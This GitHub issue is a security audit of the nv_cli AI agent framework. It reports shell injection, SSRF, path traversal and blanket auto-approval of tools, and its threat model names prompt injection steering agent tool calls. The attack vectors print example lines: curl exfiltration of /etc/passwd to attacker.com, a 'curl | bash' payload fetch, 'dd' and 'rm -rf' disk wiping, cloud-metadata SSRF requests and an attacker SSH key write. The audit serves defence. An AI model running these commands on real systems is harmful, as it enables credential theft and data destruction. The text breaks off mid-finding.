Skip to content

Security Audit #13

Description

@SingleSourceStudios

SECURITY ASSESSMENT: nv_cli Agent Framework

EXECUTIVE SUMMARY:
nv_cli exhibits 3 critical command injection vulnerabilities (subprocess shell execution, git clone string interpolation, file operations without path confinement) enabling remote code execution, plus 1 high-severity supply-chain risk (unverified skill installation) and 1 high-severity SSRF risk (unvalidated network fetch). Zero-trust review of the agentic control loop reveals untrusted LLM responses directly route to shell execution without command validation or dangerous-pattern filtering. Production deployment must be blocked. Remediation requires eliminating shell=True patterns, implementing cryptographic skill verification, and adding path/URL whitelisting within 48 hours.


THREAT MODEL

Attacker Profiles & Motivations

Profile Capability Goal Effort
Prompt Injector Craft malicious user input or system prompt injection Compromise agent reasoning, trigger RCE via tool calls Low — no code exploit needed
Skill Developer (Compromised/Malicious) Create public skill or compromise legitimate skill repo Inject backdoor code during installation, persist across sessions Low-Medium — one-time skill publication or repo takeover
Network Attacker (MITM) Intercept agent HTTP traffic or DNS responses Redirect web_fetch to malicious data, poison agent decisions Low — local network position
Package Registry Attacker Publish typosquatted or compromised packages Achieve RCE via pip-based skill installation Medium — requires social engineering or registry compromise
Insider (Compromised API Key) Exfiltrate or manipulate OpenAI API key Hijack agent for large-scale attacks; inject jailbreak instructions Low — key stored in config or env; often world-readable

Attack Surface Map

┌─────────────────────────────────────┐
│  LLM COMPLETION (OpenAI API)        │ ◄─── UNTRUSTED SOURCE
│  Raw: "tool_name": "execute_command"│
│       "command": "cat /etc/passwd; curl ..."
└──────────────┬──────────────────────┘
               │
               ▼
        ┌──────────────────┐
        │ parse_tool_calls │ ◄─── NO VALIDATION
        └────────┬─────────┘
                 │
        ┌────────▼────────────────────────┐
        │ _execute_tool(tool_name, args)  │
        │ ToolRegistry lookup             │ ◄─── UNRESTRICTED REGISTRY
        └────────┬────────────────────────┘
                 │
    ┌────────────┼────────────────────┐
    │            │                    │
    ▼            ▼                    ▼
execute_command web_fetch        write_file
shell=True ─────────────────────  path.expanduser()
NO ESCAPE (CRITICAL RCE)        NO CONFINEMENT (PATH TRAVERSAL)
    │
    └─ RESULT: Arbitrary code execution as agent user

Zero-Trust Validation Gaps

Trust Assumption (BROKEN) Impact
LLM responses are safe tool calls Tool calls directly trigger shell execution; no command validation or dangerous-keyword filtering
Installed skills are scanned for safety Regex patterns in SecurityScanner are bypassable (no AST analysis); obfuscated code passes
File operations respect sandbox write_file() uses .expanduser() but not .resolve() before mkdir; path traversal possible
Network requests target intended servers web_fetch() accepts http://, no certificate pinning, no SSRF filtering (localhost, 169.254.x.x, metadata endpoints unrestricted)
Skill sources are trustworthy No cryptographic signature verification; git repos compromised post-clone deliver arbitrary code

VERIFIED FINDINGS

FINDING: Unrestricted Shell Command Injection via execute_command()

Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

EVIDENCE: nv_cli/tools/implementations.py:51–62

def execute_command(command: str, timeout: int = 120) -> str:
    """Execute a shell command."""
    try:
        result = subprocess.run(
            command,
            shell=True,
            capture_output=True,
            text=True,
            timeout=timeout
        )

Vulnerability Details:

  • command parameter is user-supplied (originates from LLM tool call parsing in agent.py—untrusted source)
  • shell=True enables shell metacharacter interpretation (|, &&, ;, backticks, $(), ${})
  • No input validation, escaping, allowlist, or dangerous-keyword filtering
  • Output truncation (2000 chars) does not mitigate RCE
  • Timeout protection does not prevent damage (e.g., ; rm -rf / & forks and runs in background)

Attack Vector:

  1. Agent user enters prompt: "help me analyze this directory"
  2. LLM generates response: tool_call: execute_command {"command": "ls -la; curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)"}
  3. Agent parses tool call and executes command string as-is
  4. Shell interprets semicolon; both ls -la and attacker's curl execute
  5. Attacker receives exfiltrated /etc/passwd

Residual Risk (After Mitigation):

  • Even with shlex.split() + list-mode subprocess, LLM could generate valid dangerous commands (rm -rf /home/user, dd if=/dev/zero of=/dev/sda)
  • Residual risk depends on downstream permission model (see Finding: Weak Permission Check)

Recommendation:

  • Immediate: Remove shell=True; parse command with shlex.split(command) and pass as list
  • Short-term: Implement command allowlist (whitelist safe commands: ls, grep, cat, echo)
  • Medium-term: Add dangerous-keyword detection (rm, dd, shutdown, reboot, mkfs); require explicit user confirmation for risky commands
  • Long-term: Replace agent-driven command execution with domain-specific DSL (e.g., restricted subset of shell commands)

FINDING: Shell Injection in Git Clone Installation

Severity: CRITICAL (CVSS 9.1)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

EVIDENCE: nv_cli/skills/installer.py:54–60

def _install_from_git(self, url: str, name: Optional[str]) -> bool:
    """Install from git."""
    skill_name = name or url.split("/")[-1].replace(".git", "")
    target = self.skills_dir / skill_name

    cmd = f"git clone {url} {target}"
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

Vulnerability Details:

  • url parameter is user-supplied (caller can be agent or human user)
  • String interpolation into shell command: f"git clone {url} {target}"
  • No URL validation, escaping, or scheme checking
  • subprocess.run(..., shell=True) interprets shell metacharacters in both url and target
  • Example malicious URL: https://example.com/repo.git; rm -rf / or https://example.com/repo.git && curl attacker.com/payload | bash

Attack Vector:

  1. Attacker publishes skill installation instructions on social platform: "Install skill: agent install-skill --url 'https://attacker.com/skill.git; dd if=/dev/zero of=/dev/sda'"
  2. Unsuspecting user runs command
  3. subprocess.run() executes both git clone (fails safely) and dd command (destructive; overwrites disk)
  4. Alternatively, attacker compromises legitimate skill git repo and injects post-clone hook (e.g., setup.py with os.system())

Supply-Chain Context:

  • Even if url is validly formed, a compromised or attacker-controlled git repo can deliver arbitrary code
  • SecurityScanner (regex-based) is insufficient to detect obfuscated code (base64 payloads, multi-line strings, eval constructs)
  • No commit signature verification; attacker can force-push malicious code to a fork

Recommendation:

  • Immediate: Remove shell=True; use list-mode subprocess: subprocess.run(["git", "clone", url, str(target)])
  • Short-term: Validate URL scheme (https only); reject localhost/IP addresses in URLs
  • Medium-term: Require GPG-signed commits or releases; verify commit signatures before installation
  • Long-term: Maintain skill allowlist/pinned versions with commit hashes; audit skills before production use

FINDING: Unvalidated Network Fetch Enables SSRF

Severity: HIGH (CVSS 8.2)
CWE: CWE-918 (Server-Side Request Forgery)

EVIDENCE: nv_cli/tools/implementations.py:120–134

def web_fetch(url: str) -> str:
    """Fetch content from URL."""
    import urllib.request
    import urllib.error

    try:
        req = urllib.request.Request(
            url,
            headers={
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36'
            }
        )
        with urllib.request.urlopen(req, timeout=30) as response:

Vulnerability Details:

  • url parameter is user-supplied (from LLM tool call) without validation
  • No scheme enforcement: file://, gopher://, ftp://, http://, https:// all accepted
  • No SSRF filtering: localhost (127.0.0.1, localhost, ::1), private IPs (10.x.x.x, 172.16.x.x, 192.168.x.x), link-local (169.254.x.x), metadata endpoints (169.254.169.254) unrestricted
  • Default SSL verification in Python 3.6+ is enabled but:
    • HTTP URLs bypass certificate checks entirely
    • No certificate pinning or custom SSL context
    • Hostname verification could be skipped if implementation is incomplete

Attack Vectors:

  1. Internal Service Enumeration:

    web_fetch: {"url": "http://localhost:6379"}  # Access Redis, unauth'd
    web_fetch: {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}  # AWS metadata
  2. Data Exfiltration:

    web_fetch: {"url": "file:///etc/passwd"}  # Read local files (if file:// is not blocked)
  3. Credential Harvesting:

    web_fetch: {"url": "http://10.0.1.50:5432"}  # Probe internal database port
  4. Denial of Service:

    web_fetch: {"url": "http://localhost/download?file=largefile.bin"}  # Exhaust disk/memory

Residual Risk (After Mitigation):

  • HTTPS enforcement + cert verification prevents MITM on external URLs
  • SSRF filtering (localhost + private IP rejection) prevents internal service access
  • Residual: Attacker could enumerate internal DNS zones via URL parameter timing analysis

Recommendation:

  • Immediate:
    • Enforce HTTPS only: reject http:// URLs
    • Reject localhost/private IPs: blocklist 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1/128, fc00::/7
    • Validate URL scheme: whitelist https:// only
  • Short-term: Implement URL allowlist (e.g., domain pattern matching)
  • Medium-term: Add SSL context with certificate pinning for critical external services
  • Long-term: Route all outbound requests through proxy with DNS sinkhole for internal addresses

FINDING: Missing Path Confinement in write_file()

Severity: HIGH (CVSS 8.1)
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

EVIDENCE: nv_cli/tools/implementations.py:32–44

def write_file(path: str, content: str, force: bool = False) -> str:
    """Write a file."""
    try:
        filepath = Path(path).expanduser()
        filepath.parent.mkdir(parents=True, exist_ok=True)

        if filepath.exists() and not force:
            return f"Error: File exists. Use edit_file to modify."

        filepath.write_text(content, encoding='utf-8')

Vulnerability Details:

  • path parameter is user-supplied (from LLM tool call) without validation
  • .expanduser() expands ~ to home directory but does NOT canonicalize or sandbox
  • No .resolve() before directory creation or write → path traversal via ../ is possible
  • filepath.parent.mkdir(parents=True, exist_ok=True) creates all parent directories without confinement checks
  • Attacker can write to any location the agent user has permissions for:
    • System files: /etc/cron.d/, /etc/sudoers, /root/.ssh/authorized_keys
    • Application code: /app/src/main.py (inject malicious code)
    • Configuration: /etc/nginx/nginx.conf (modify web server behavior)

Attack Scenario:

write_file: {
  "path": "../../../../root/.ssh/authorized_keys",
  "content": "ssh-rsa AAAA... attacker@evil.com",
  "force": true
}

Result: If agent runs as root or in a container with loose permissions, attacker's SSH key is added to root account.

Comparison with edit_file():

  • edit_file() at line 65 uses .resolve(), which canonicalizes symlinks and relative paths
  • write_file() does not, creating inconsistency and a vulnerability gap

Recommendation:

  • Immediate:
    • Add .resolve() after .expanduser(): filepath = Path(path).expanduser().resolve()
    • Add path confinement check: assert filepath.is_relative_to(safe_base_dir) (Python 3.9+) or manual string comparison
    • Define safe base directory (e.g., project directory, user home, /tmp—depends on use case)
  • Short-term: Implement allowlist of writable directories; reject writes outside allowlist
  • Medium-term: Add audit logging for all file writes (path, content hash, user, timestamp)
  • Long-term: Run agent with minimal filesystem permissions (containerization, chroot, or capability restriction)

FINDING: Weak Permission Check Allows Blanket Tool Approval

Severity: HIGH (CVSS 8.0)
CWE: CWE-400 (Uncontrolled Resource Consumption)

EVIDENCE: nv_cli/agents/agent.py:254–266

def _check_permission(self, tool: str, args: Dict) -> bool:
    """Check if tool execution is allowed."""
    from ..config.config import PermissionMode
    mode = self.config.permission_mode

    if mode == PermissionMode.NEVER:
        return False
    if mode == PermissionMode.AUTO:
        return True

Vulnerability Details:

  • PermissionMode.AUTO grants blanket approval to ALL tools without restriction
  • No dangerous-command filtering: even malicious execute_command calls are approved
  • No rate limiting: agent can execute unlimited commands per session
  • No per

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions